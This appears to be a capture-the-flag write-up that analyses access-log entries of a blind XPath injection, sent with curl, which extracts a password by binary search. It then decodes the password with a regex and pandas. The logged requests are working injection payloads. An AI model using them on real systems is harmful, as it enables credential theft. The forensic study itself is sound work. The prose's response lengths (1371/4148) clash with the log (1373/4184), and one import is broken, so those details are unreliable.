Pathological

We have an access log that contains http requests. After digging, I found the following requests where a password is somehow retrieved

```
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[string-length(.)>24]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[string-length(.)>32]%20|%20//*[@Random=\"
HTTP/1.1" 200 1373 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[string-length(.)>28]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[string-length(.)>30]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,1,1)>\"%4f\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 1373 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,1,1)>\"%37\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,1,1)>\"%43\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 1373 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,1,1)>\"%3d\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,1,1)>\"%40\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,1,1)>\"%41\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,1,1)>\"%42\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
192.168.187.128 - - [22/Mar/2022:22:12:00 +0100] "GET /?
type=\"]%20|%20//Password[substring(.,2,1)>\"%4f\"]%20|%20//*[@Random=\"
HTTP/1.1" 200 4184 "-" "curl/7.68.0"
```

Obersavtions

The first 4 requests determine the password length with a greater then comparison. We can see that a content length of 1371 responds to `false` and 4148 `true`: The password is not longer(>) than 32 chars but longer(>) than 30 chars.

Afterwards, we can see that the password is extraced char by char. However, each reqeust for the n-th char always start with `%4f` which is an ASCII **O**. Also, there are always 7 requests - interestingly, there are 128 ASCII chars which corresponds to 2^7. Therefore, the attacker uses binary search to extract the password char by char.

We simply have to look at the last reqeust and the content length.

- 4148 $\implies$ It is the next ASCII value
- 1371 $\implies$ It is the current ASCII value

Solving

I created an regex to collect all important pieces of information

```
substring\(\.,(\d+),1\)>\\\"%([0-9a-f]{2})\\.*200 (1373|4184)
```

such that I could obtain CSV

```
a,b,c
1,4f,1373
1,37,4184
1,43,1373
1,3d,4184
1,40,4184
1,41,4184
1,42,4184
2,4f,4184
2,67,1373
```

To extract the password, I loaded everything into a pandas *dataframe* and applied some hacky code to look only at the last reqeust for the current char.

```
import pandas as pd
from IO import StringIO
df = pd.read_csv(StringIO(csv))

lastdup = df[(~df['a'].duplicated(keep='last'))]

new = lastdup.b.apply(lambda x:int(x,16)) + (lastdup.c == 4184)*1

"".join(new.apply(lambda x:chr(x)).to_list())
```